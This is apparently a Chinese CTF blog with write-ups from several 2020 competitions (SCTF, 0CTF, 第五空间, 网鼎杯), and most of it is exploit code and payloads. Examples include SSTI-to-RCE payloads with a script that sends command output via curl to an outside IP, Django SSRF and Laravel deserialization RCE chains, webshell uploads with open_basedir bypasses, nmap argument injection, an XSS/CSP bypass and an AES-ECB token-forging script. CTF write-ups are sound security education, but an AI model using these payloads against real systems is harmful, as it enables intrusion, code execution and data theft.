Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/json;charset=utf-8
Referer: http://39.104.19.182/reg/
Content-Length: 71
Cookie: sessionid=2clv87e4e3id9dxtsm86yn2x58vusr34; csrftoken=LaC7AyOPVLKhhZ6ZP3NNiBcSjTa7f27SQ22vpuWyWRtI6LqWYrwLkFcv8EDeL7PY
Connection: close

{"username":"gmlgml","password":"gmlgml","is_superuser":1,"is_staff":1}

这样就注册了个 admin 的账户，然后/admin 登陆：

可以拿到 token。

SSRF Whit_list bypass

过滤的很死：

import re
def ssrf_check(url ,white_list):
    for i in range(len(white_list)):
        if url.startswith("http://" + white_list[i] + "/"):
            return False
    return True

Django==2.0.7 的版本，有个 CVE-2018-14574，可以 bypass 这个过滤。

1	http://39.104.19.182//127.0.0.1:8000/rpc?

可以请求 rpc了。

SSTI bypass

首先有个 WAF：

def before_request():
    data = str(request.data)
    log()
    if "{{" in data or "}}" in data or "{%" in data or "%}" in data:
        abort(401)

因为是 json，支持 \u 编码，直接编码就可以绕过。这个点在 2018 年 HCTF 的 Kzone 出现过，当时是非预期，用 \u 编码绕过了所有的sql注入的过滤。

还有个正则：

1 2	if re.search("[a-z]", num1, re.I) or re.search("[a-z]", num2, re.I) or not re.search("[+\-*/]", symbols): return json.dumps({"code": -1, "message": "?"})

num1 和 num2 不能出现英文字符。因为这是在解码后了，没法用 json 编码绕过。

使用 Python 8 进制转义字符绕过：

 ✘ ⚙  ~  python3
Python 3.7.4 (default, Jul  9 2019, 18:13:23)
[Clang 10.0.1 (clang-1001.0.46.4)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> '\123'
'S'

但是这种方式仅仅可以渲染出字符，类似使用 .来进行方法调用，比如 os.popen，这种都是无效的，有些可以通过 [‘popen’] 这种引用这种方法进行绕过。

接下来就是常规 SSTI RCE了，这个题比较奇怪，我明明都构造出了 system 方法，但是执行命令不可以，popen 我用了几种方式也是不行。

1	{{''['__class__']['__bases__'][0]['__subclasses__']()[117]['__init__']['__globals__']['popen']('ls')}}

这个payload 还可以，但是将命令换成 pwd就报错了，神奇…

最后用的 subprocess 中的 Popen，将数据外带，也是各种不行。最后终于调好了个能用的：

1	{{ { }['__class__']['__mro__'][1]['__subclasses__']()[409](['bash','-c','curl vps/`/readflag`'])}}

我这里测试，加 port 都不行，或者 curl 后面加个 http:// 也会GG，真是玄学。

exp：

import requests
from base64 import *
import json
from urllib import quote
import string


def bypass(s):
    tmp = ""
    for c in s:
        if c in string.ascii_letters:
            tmp += "\%o" % (ord(c))
        else:
            tmp += c
    tmp = "".join(["\u00%s" % (c.encode("hex")) for c in tmp])
    return tmp

def exp(payload):
    base_url = "http://39.104.19.182//127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=%s"
    base_json = '{"num1":"%s","num2":"1","symbols":"-"}'


    payload = base_json % bypass(payload)
    print json.loads(payload)
    exp = base_url % b64encode(payload)
    session = requests.Session()

    rawBody = "{\"token\":\"3ad9af405504233188f694a11ff22115\",\"url\":\"%s\"}" % exp
    headers = {"Accept": "application/json, text/plain, */*",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:45.0) Gecko/20100101 Firefox/45.0",
               "Referer": "http://39.104.19.182/home/", "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
               "Content-Type": "application/json;charset=utf-8"}
    cookies = {"csrftoken": "LaC7AyOPVLKhhZ6ZP3NNiBcSjTa7f27SQ22vpuWyWRtI6LqWYrwLkFcv8EDeL7PY",
               "sessionid": "dzwa097pfn3fxuk00rfcb3rof2yb7djt"}
    proxies = {"http": "http://127.0.0.1:8080"}
    response = session.post("http://39.104.19.182/home/", data=rawBody, headers=headers, cookies=cookies,
                            proxies=proxies)
    return response.content
if __name__ == '__main__':
    # payload = "{{()['__class__']['__bases__'][0]['__subclasses__']()[93]['__init__']['__globals__']['sys']}}"
    # payload = "{{''['__class__']['__bases__'][0]['__subclasses__']()[117]['__init__']['__globals__']['popen']('ls')}}" ## 可以得到 popen，payload失败
    # payload = "{{'ac'['__class__']['__mro__'][1]['__subclasses__']()[226]['__init__']['__globals__']['os']['system']}}" ##可以得到 os，payload失败
    payload = "{{ { }['__class__']['__mro__'][1]['__subclasses__']()[409](['bash','-c','curl htt://123.207.149.181/`/readflag`'])}}"
    print exp(payload)

Pysandbox

做题的时候思路总是局限在 Python 绕过括号调用方法，其实这是不行的。。。思路还是太僵硬了。

可以把 flask static的目录设置成 /，这样就任意下载文件了。

POST /?POST=%3f HTTP/1.1
Host: 39.104.25.107:10009
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

cmd=app.static_folder=request.args[request.method]

不能用字符，就凑一个字符串出来。然后访问 /static/app/flag。

Pysandbox2

需要 RCE。看了 WP 师傅们的思路都 tql。感觉最骚的是把 ord 函数给改了… 直接把 waf 干了，参考：https://imagin.vip/?p=1489#pysandbox2。

__builtins__.__dict__[‘ord’]是我们正常使用的 ord，把这个函数改成一个返回恒定值的，就可以无视 waf 了。

1	__builtins__.__dict__['ord'] = lambda args:42

但是过滤了空格和引号，空格可以用 *args 代替。

1	__builtins__.ord=lambda*args:42

本地试一下：

 ✘ ⚙  ~  python3
Python 3.7.4 (default, Jul  9 2019, 18:13:23)
[Clang 10.0.1 (clang-1001.0.46.4)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> __builtins__.ord=lambda*args:42
>>> ord('a')
42
>>> ord('b')
42
>>>

然后就可以任意命令执行，反弹shell了。

bestlanguage

这个题被非预期了，题目代码根本没用，Larval 版本是 5.5.39，CVE-2018-15133，参考https://xz.aliyun.com/t/6533，直接打。

使用 phpggc。

1
2

phpggc   master  php phpggc Laravel/RCE2 'system' 'cat /flag'  -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086Mjg6IklsbHVtaW5hdGVcRXZlbnRzXERpc3BhdGNoZXIiOjE6e3M6MTI6IgAqAGxpc3RlbmVycyI7YToxOntzOjk6ImNhdCAvZmxhZyI7YToxOntpOjA7czo2OiJzeXN0ZW0iO319fXM6ODoiACoAZXZlbnQiO3M6OToiY2F0IC9mbGFnIjt9

照着加密逻辑，改改：


$plain = base64_decode("Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086Mjg6IklsbHVtaW5hdGVcRXZlbnRzXERpc3BhdGNoZXIiOjE6e3M6MTI6IgAqAGxpc3RlbmVycyI7YToxOntzOjk6ImNhdCAvZmxhZyI7YToxOntpOjA7czo2OiJzeXN0ZW0iO319fXM6ODoiACoAZXZlbnQiO3M6OToiY2F0IC9mbGFnIjt9");
$key = base64_decode('P5tGTBKV2clEGWCWD7L5fSrhi8sfnX/cmHdqzx/fpVo=');
$iv = random_bytes(openssl_cipher_iv_length('AES-256-CBC'));
$value = openssl_encrypt($plain, 'AES-256-CBC', $key, 0, $iv);
$iv = base64_encode($iv);
$mac = hash_hmac('sha256', $iv . $value, $key);
$json = json_encode(compact('iv', 'value', 'mac'));
echo base64_encode($json);

1
2

 ⚙  2020 SCTF  php CVE-2018-15133.php
eyJpdiI6IjBKRmRRYWh2TVk2ZzdpRWhmTVVIa3c9PSIsInZhbHVlIjoiakxCTXJvVVNqZ3hKN1F1Q1VSd2gzZWZOSitTMXgzc2RZZDBiTGZlZkdOR2xKOExDWXY3M0E4alZBcnhnQWVTQjg0RmVvRjhVaHJnOFkrSUNMZXdrK1ZaSjVIVmNkbFwvRVRydWU5ajZxU3BuVm02ZFZUVXhuXC9BSmkyY0NGWG8xQkFjaHRycVcxeXowUTdVXC9nYUxvbFl4dlcwTmJGOCtoMktzM2dRWEM1NUgxekVwc2dWOFU3VXFuZUJsbWhKVDRmQjhhZ3F4WlwvVTQ4VGkwbm05c1lyeVRUbTJONFRsWFIxdU5SVFNWRENQeHB5SGcweWZPNmhtSlJCNnRMZVh6bDVnM3lNY0lMdmtaS01vUDlXcE9cL3M0QT09IiwibWFjIjoiYjJkYjcyNDU5NzVlYjlmOWQzNDk5YTgxODk3NzE3ZjI1NmI2YmMzNzI1Y2NjYmZjY2U0MDg1YTRiZDE2OWY1ZSJ9%

预期解在这里：https://github.com/SycloverSecurity/SCTF2020/tree/master/Web/bestlanguage/Write-up

Crypto

RSA

类似 2019 HITCON Quals Not So Hard RSA，参考：https://gist.github.com/hellman/383dd8cf6f753fff55b98cf424f2e94e，改改数据跑脚本就行了。

 ⚙  2020 SCTF  sage rsa.sage
Bit sizes:
[888, 888, 889]
[383]
[383, 381, 383]
found d row 0 : d = 13860282398350628680055087179162874305179305701888441908415109881269396959367466997596402959289379090042646293889703
b'SCTF{673ff064da31c0d7aee56884b01a09}'

2020 TCTF/0CTF 部分wp

2020-06-29T09:05:18.000Z

跟着 TD 打了一下 TCTF & 0CTF，基本0输出orz，给 TD 的大佬递 tea。

Web

easyphp

开局一个webshell，有 open_basedir 与 disable_functions 限制，普通方法都无法绕过。

可以用 glob + DirectoryIterator 列出根目录：

POST /?rh=%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%67%6d%6c%5d%29%3b HTTP/1.1
Host: pwnable.org:19260
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 91

gml=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};

1	bin dev etc flag.h flag.so home lib media mnt opt proc root run sbin srv start.sh sys tmp usr var

发现 flag.h 与 flag.so，结合 phpinfo 中开启了 FFI，应该是用 FFI 调用 flag.so 中的方法。

尝试 FFI load flag.h，可以发现没有报500，说明成功加载。

POST /?rh=%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%67%6d%6c%5d%29%3b HTTP/1.1
Host: pwnable.org:19260
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

gml=$ffi = FFI::load("/flag.h");echo 1;

但是我们无法知道有什么方法，方法名是什么，也读取不了 flag.h，一直卡在这里。队里大佬开始 leak 内存来获取方法名，结果 leak 出了方法名：flag_fUn3t1on_fFi（我也不懂这些知识）。可以参考白泽的脚本：https://www.4hou.com/posts/p7BQ。

然后直接调用就好了：

发现很多队伍做出来了… open_basedir 中间坏了一段时间，应该是被人给搞了，大家都去直接读取 flag.h 了。

猜测可能有人打了 supervisor 的 php-fpm 来 getshell，进而改了 open_basedir。

noeasyphp

主办方不甘心，来了个复仇版，disable_functions 更加严格了，并且没有了 supervisor。

我们上个题的解法应该是预期解法，直接原样 leak 一下方法名，仅仅改了个方法名，然后getflag。所以题出来的时候我们直接把题秒了23333。

从flag来看，好像是有人打了 php-fpm，因为flag内容是 you can‘t use fpm now 之类的。

Wechat Generator

一个聊天界面，可以加内容与表情，可以截图。

加个表情，看一下发送的包：

1	[{"type":0,"message":"Love you!"},{"type":1,"message":"[pout]Me too!!!"}]

表情是中括号扩起来的，share 后查看图片路径：

1	http://pwnable.org:5000/image/fRszcH/png

把png改成html，不支持。改成 svg，可以正常显示，猜测这里使用imagemagick。改成htm也可以，其中表情处：

可以闭合引号进行 xss，但是 src 关键字被过滤了。

参考3月空指针公开赛：https://mp.weixin.qq.com/s/rMh-hABCdGpYpGqtFFiKOA

使用 xlink:href读文件，构造如下payload：

1	[{"type":0,"message":"Love you!"},{"type":1,"message":"[pout\"/> ]Me too!!!"}]

可以读取 /etc/passwd：

盲猜直接读取 /app/app.py：

访问：http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws

需要 alert(1)，但是有csp：

1	Content-Security-Policy: img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self'

使用 meta refresh进行跳转，meta被过滤使用双写绕过，构造以下payload：

1	[{"type":0,"message":"Love you!"},{"type":1,"message":"[pout\"/></memetata>\"]Me too!!!"}]

服务器上是:

1	<script>alert(1)script>

得到路径，换成htm后缀，提交：

lottery

分析题目，初始账户 30 个 coin，需要 99 个 coin 买 flag，花 10 个coin买彩票，得到的回报一般小于等于 10 个coin。

流程大体如下：

登陆账户，返回api_token；
点击买彩票，向 /lottery/buy 接口发送 api_token，返回 enc（加密的订单信息）。
向 /lottery/info 接口发送 enc，得到订单信息。（lottery的uuid，user的uuid以及得到的coin）
点击charge，向/lottery/charge接口发送 user的uuid、coin以及enc，服务端对enc解密，校验 useruuid，无误把解密得到的coin加到user uuid 对应的user上。

分析关键的enc，拿两次 buy 得到的enc对比，发现是 16 字节一组，一共 8 组，中间还有一些组密文相同，不难得出加密模式是 AES ECB模式。/lottery/info接口提供了 enc 解密的信息，我们可以保持一个enc不变，另一个enc每个分组分别替换成不变的enc对应的分组，依次对比解密信息的不同，可以发现user uuid涉及四个分组，从第四个分组到倒数第二个分组。

以 uuid 为 390e0a78-49ff-4264-8ddd-8b902319d189 为例。

第四组： xxxxxxxxxxxxxx39
第五组： 0e0a78-49ff-4264
第六组： -8ddd-8b902319d1
第七组： 89xxxxxxxxxxxxxx

我们有一个账户A，可以正常买彩票，如果我们找到一个uuid 前两位和后两位与账户A相同的账户B，那么我们可以用账户B buy 彩票，得到 enc 后把charge得钱的账户改成账户A（把enc第五组与第六组替换成账户A的密文），这样就把得到的钱转到A上了，并且买彩票用的是B账户的coin。多找几个这样的账户B，把钱都转到账户A上，就可以得到99个coin了。

我们需要爆破一堆 uuid 的前两位和后两位都一样的账户，然后把转到一个账户上。运气好的话大概需要爆五六个这样的账户。

爆破很慢… 采用多进程方式，脚本：

import requests
from multiprocessing import Pool, Manager, Value
import random, string
import json
from base64 import *


def register(dict, now_num):
    user = "".join([random.choice(string.printable) for _ in range(5)])
    session = requests.Session()
    paramsPost = {"password": user, "username": user}
    headers = {"Origin": "http://pwnable.org:2333", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36",
               "Referer": "http://pwnable.org:2333/index.html", "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.9",
               "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
    response = session.post("http://pwnable.org:2333/user/register", data=paramsPost, headers=headers)
    data = response.content.strip()
    data = json.loads(data)
    uuid = data["user"]["uuid"]
    key = uuid[:2] + uuid[-2:]
    resp = session.post("http://pwnable.org:2333/user/login", data={'username': user, 'password': user})
    data = json.loads(resp.content.strip())
    api_token = data["user"]["api_token"]
    if key in dict:
        tmp = dict[key]
        tmp.append(api_token)
        dict[key] = tmp
    else:
        tmp = [api_token]
        dict[key] = tmp
    if len(dict[key]) > now_num["num"]:
        now_num["num"] = len(dict[key])
        print "now amount: %s,now api_token: %s" % (now_num["num"], dict[key])


def processPools():
    num = 10
    pool = Pool(processes=num)
    jobs = []
    manager = Manager()
    dict = manager.dict()
    now_num = manager.dict()
    now_num["num"] = 0
    for i in range(2 ** 16):
        job = pool.apply_async(register, (dict, now_num))
        jobs.append(job)
    pool.close()
    pool.join()


def charge(user, coin, enc):
    session = requests.Session()

    paramsPost = {
        "enc": enc,
        "user": user, "coin": coin}
    headers = {"Origin": "http://pwnable.org:2333", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36",
               "Referer": "http://pwnable.org:2333/lottery.html", "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.9", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
    response = session.post("http://pwnable.org:2333/lottery/charge", data=paramsPost, headers=headers)
    if "invalid" in response.content:
        print "error!"


def exp(api_token_list):
    account = api_token_list[0]
    other = api_token_list[1:]
    data = requests.get("http://pwnable.org:2333/user/info", params={'api_token': account}).content.strip()
    uuid = json.loads(data)["user"]["uuid"]
    data = requests.post('http://pwnable.org:2333/lottery/buy', data={'api_token': account}).content.strip()
    enc = json.loads(data)['enc']
    middle = b64decode(enc)[-64:-32]
    data = requests.post("http://pwnable.org:2333/lottery/info", data={'enc': enc}).content.strip()
    coin = json.loads(data)['info']['coin']
    charge(uuid, coin, enc)
    for api_token in other:
        for _ in range(3):
            data = requests.post('http://pwnable.org:2333/lottery/buy', data={'api_token': api_token}).content.strip()
            enc = json.loads(data)['enc']
            data = requests.post("http://pwnable.org:2333/lottery/info", data={'enc': enc}).content.strip()
            coin = json.loads(data)['info']['coin']
            tmp = b64decode(enc)
            new_enc = b64encode(tmp[:-64] + middle + tmp[-32:])
            assert len(b64decode(new_enc)) == 128
            charge(uuid, coin, new_enc)
    data = requests.get("http://pwnable.org:2333/user/info", params={'api_token': account}).content.strip()
    print data
    data = requests.post("http://pwnable.org:2333/flag", data={'api_token': account}).content.strip()
    print data


if __name__ == '__main__':
    api_token_list = ['s4XmpFIYOMnM3YvSRq5MvNSabOheYocT', 'p8wRiFb5r17EUBxC9BcAV2NwKlxY6EXE',
                      'jaJO0sOcyuU8GedKDTfOTTMsdA0GeXtW', 'GBRa6X6ZPM15Hrd15vZzNmwbswMsTcxL',
                      'V29GALnpgMFSjy5nYcGIm4Q3wWbaRE5L', 'GaI4LnuYXhA7oUos4hiTbTvnFs1v9DnP',
                      'HDfi2mG5n8j8pygZcbSiLyM7nrozjPxo']
    exp(api_token_list)
    # processPools()
    # charge()

首先运行 processPools函数爆破账户，大概爆到 7 个，差不多了。

 ✘ ⚙  2020 0CTF  python lottery.py
now amount: 1,now api_token: [u'dz9ilcIVnOCUbyUxZtUsDHRKBmqKTWYf']
now amount: 2,now api_token: [u'2KfQgLss4EuZLMP2iTttEWOvxq1pmLUH', u'SDZIRWRUicmv85Hckj2FxCumrisGKmxl']
now amount: 3,now api_token: [u'NAdG5IiRWlmxYm4wzjQqa1q8Xe5161S4', u'sfpKMPQ7tnvNC2WlvppGioIc4SCn6gKy', u'Fgj3zGX8NyFPCqlF3HloEfWdaonW3Mz8']
now amount: 4,now api_token: [u'Z2LezEeeKU9iaU8K0MhNV8R6UBKwYn7p', u'LE7f7JzgFHjefO1S0NAtlI0X1xXEzLRg', u'TZvfPzGPW03PlynxFCCFpDVTli2xcu4O', u'Nipjkdoz3hAne81ihDzM9REMtnplJUkh']
now amount: 5,now api_token: [u'Z2LezEeeKU9iaU8K0MhNV8R6UBKwYn7p', u'LE7f7JzgFHjefO1S0NAtlI0X1xXEzLRg', u'TZvfPzGPW03PlynxFCCFpDVTli2xcu4O', u'Nipjkdoz3hAne81ihDzM9REMtnplJUkh', u'0kH6ATi6o24iBUZHorJ1ArdV23GVJuMr']
now amount: 6,now api_token: [u's4XmpFIYOMnM3YvSRq5MvNSabOheYocT', u'p8wRiFb5r17EUBxC9BcAV2NwKlxY6EXE', u'jaJO0sOcyuU8GedKDTfOTTMsdA0GeXtW', u'GBRa6X6ZPM15Hrd15vZzNmwbswMsTcxL', u'V29GALnpgMFSjy5nYcGIm4Q3wWbaRE5L', u'GaI4LnuYXhA7oUos4hiTbTvnFs1v9DnP']
now amount: 7,now api_token: [u's4XmpFIYOMnM3YvSRq5MvNSabOheYocT', u'p8wRiFb5r17EUBxC9BcAV2NwKlxY6EXE', u'jaJO0sOcyuU8GedKDTfOTTMsdA0GeXtW', u'GBRa6X6ZPM15Hrd15vZzNmwbswMsTcxL', u'V29GALnpgMFSjy5nYcGIm4Q3wWbaRE5L', u'GaI4LnuYXhA7oUos4hiTbTvnFs1v9DnP', u'HDfi2mG5n8j8pygZcbSiLyM7nrozjPxo']

把 api_token 复制下来，运行 exp函数，一个账户可以转三次。

1
2
3

 ✘ ⚙  2020 0CTF  python lottery.py
{"user":{"id":538474,"uuid":"8f97310b-6784-41a0-8e1f-714266517dbd","username":"'\"*Lv","api_token":"s4XmpFIYOMnM3YvSRq5MvNSabOheYocT","coin":115,"created_at":"2020-06-29T08:04:30.000000Z","updated_at":"2020-06-29T09:03:55.000000Z"}}
{"flag":"flag{f1d6356a-4288-4a13-a28a-78da73328493}"}

PS：这种做法是换userid，也可以换 lottery 的uuid，这样只需要爆破uuid前两位的user了，更快也不用多进程了。

Misc

cloud computing

打开题目，看起来可以写一个 webshell：



error_reporting(0);

include 'function.php';

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT']) . '/';

if(!file_exists($dir)){
  mkdir($dir);
}

switch ($_GET["action"] ?? "") {
  case 'pwd':
    echo $dir;
    break;
  case 'upload':
    $data = $_GET["data"] ?? "";
    if (waf($data)) {
      die('waf sucks...');
    }
    file_put_contents("$dir" . "index.php", $data);
  case 'shell':
    initShellEnv($dir);
    include $dir . "index.php";
    break;
  default:
    highlight_file(__FILE__);
    break;
}

不过 waf 有过滤，可以考虑用数组绕过，file_put_contents 第二个参数是数组时，会把数组内容拼起来，进行写入。

所以可以构造以下 payload：

1	http://pwnable.org:47781/?action=upload&data[0]=%3c&data[1]=%3f&data[2]=php eval($_POST[1]);

这样就写入了一个webshell，然后发现有 open_basedir限制，使用 chdir绕过。

error_reporting(-1);mkdir('sandbox/4a3499ebbdf052fa2413cf697e5164184c0d824d/gml');chdir('sandbox/4a3499ebbdf052fa2413cf697e5164184c0d824d/gml');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

读取flag，发现一大堆乱码，好像是个 img，转换成 base64读取，本地拿 foremost 跑一下：

2020 0CTF  foremost 0ctfmisc
foremost: /usr/local/etc/foremost.conf: No such file or directory
Processing: 0ctfmisc
|*|

出了个图片，里面有flag。

cloud computing v2

复仇版，ban了很多，chdir也不能用了，甚至 ini_get都不能用了，看样子上个题应该也是非预期。

file_get_contents(‘127.0.0.1’) 一下，发现80端口有个别的web服务。

这个agent，想起来v1的时候，根目录有个 agent 文件，拉下来，是个elf。

go写的web逆向，装了个 IDAGolangHelper 插件：

逆不动了… 有时间的话找个逆向手补一波。

2020 第五空间智能安全大赛初赛wp

2020-06-25T10:27:34.000Z

Web

hate-php

一般的无字母shell，直接用～取反就行了。

1	http://121.36.74.163/?code=(~%8C%86%8C%8B%9A%92)(~(%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F))

do you know

变量赋值一直绕不过去，$param和$type这些无法赋值，无法xxe。测试了一下，$_SERVER['QUERY_STRING'];不会进行url解码，而后面赋值是$_GET赋的值，保存的是解码后的值，也就是说waf检测的是url解码前的value，直接将 file:///var/www/html/flag.php 进行url编码，可以拿到flag。

1	http://121.36.64.91/?a=1&b=1&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70

美团外卖

www.zip源码泄漏，审计源码。登陆处没有什么过滤。

password=123456&username=admin' and 0 union select 'e10adc3949ba59abbe56e057f20f883e' limit 1 offset 0#可以登陆，但是session里面的user不是admin，很多东西没法搞。

尝试注admin的密码，用时间盲注，不能用逗号，使用case when以及substr from 绕过，结果题目限制请求速率，sleep(10)都不行，还ban ip…. 应该不是盲注。找找应该有其他注入点，审计到daochu.php，没有任何过滤，还有回显。

有个hint，读一下列名，是hints。读一下数据：

看这个目录，和主页一模一样的界面…这应该是真目录。两个目录肯定有不同。

新目录可以访问lib文件夹，而原来的不可以，lib里肯定有东西。在lib文件夹下发现webuploader，版本是0.1.5，搜一波有洞：

1	https://9finger.cn/2020/03/06/CNVD-2018-26054%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

链接exp打上去，php被过滤，换个大小写：

提示让我访问http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/e98a4571cf72b798077d12d6c94629.php，回显getfile。试一下file=phpinfo();不行，file=/flag，读到flag。

http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/e98a4571cf72b798077d12d6c94629.php?file=/flag

Laravel

index路由就一个反序列化，显然就是找链。搜到这一篇：https://www.anquanke.com/post/id/184541#h3-2。

这里的Generator类可以用，但是另一个IlluminateBroadcasting没有。我们需要找到一个类，其中一个属性可控，赋值成构造的Generator对象，同时这个类析构函数需要调用这个属性的一个不存在的方法。这样就可以调用Generator的__call从而RCE。。Vendor文件夹里搜索__destruct，找到了一个：

parent可以控制，那么仿照链接中的例子，我们就可以实现RCE。


namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator{
        private $parent;
        private $route;
        public function __construct($parent,$route){
              $this->parent=$parent;
              $this->route=$route;
        }
    }
}
namespace Faker{
    class Generator{
        protected $formatters;
        public function __construct($formatters){
            $this->formatters=$formatters; 
        }
    }
}
namespace{
    $generator = new Faker\Generator(array("addCollection"=>"system"));
    $exp = new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($generator,"cat /flag");
    echo urlencode(serialize($exp));
}

O%3A64%3A%22Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%22%3A2%3A%7Bs%3A72%3A%22%00Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%00parent%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A13%3A%22addCollection%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A71%3A%22%00Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%00route%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D

2020网鼎杯-朱雀组wp

2020-05-18T02:58:26.000Z

Web

nmap

可以扫描ip，尝试命令注入未果，应该是调用了nmap进行扫描。

nmap可以读取文件中的内容进行扫描，flag肯定是非法ip，nmap输出会把内容报错出来，利用这个特点，把结果输出到web目录下的文件。

1	' -iL /flag -oN /var/www/html/abc.txt '

访问abc.txt。

phpweb

传入的p与func是 $func($p) 形式执行，可以读到源码：

1	func=readfile&p=index.php

源码：


    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

ban了执行代码之类的函数，gettime 有个 call_user_func，还有个类，想到可以反序列化。


class Test {
    var $p = "ls";
    var $func = "system";
}
echo serialize(new Test());

读取flag。

think java

这个题比赛做了一半，在buuoj复现的。

扫了一波目录，发现了swagger-ui.html，看到了三个api：

sqlDict传入一个dbname。

给了部分class，拖到jdgui分析，jdbc连接数据库：

public class SqlDict {
  public static Connection getConnection(String dbName, String user, String pass) {
    Connection conn = null;
    try {
      Class.forName("com.mysql.jdbc.Driver");
      if (dbName != null && !dbName.equals("")) {
        dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
      } else {
        dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
      } 
      if (user == null || dbName.equals(""))
        user = "root"; 
      if (pass == null || dbName.equals(""))
        pass = "abc@12345"; 
      conn = DriverManager.getConnection(dbName, user, pass);
    } catch (ClassNotFoundException var5) {
      var5.printStackTrace();
    } catch (SQLException var6) {
      var6.printStackTrace();
    } 
    return conn;
  }

其中，test 接口可以传入 dbName，拼接到连接，想到了jdbc反序列化，往下看。

public static ListgetTableData(String dbName, String user, String pass){
  List  
 Tables = new ArrayList<>();
  Connection conn = getConnection(dbName, user, pass);
  String TableName = "";
  try {
    Statement stmt = conn.createStatement();
    DatabaseMetaData metaData = conn.getMetaData();
    ResultSet tableNames = metaData.getTables((String)null, (String)null, (String)null, new String[] { "TABLE" });
    while (tableNames.next()) {
      TableName = tableNames.getString(3);
      Table table = new Table();
      String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
      ResultSet rs = stmt.executeQuery(sql);
      while (rs.next())
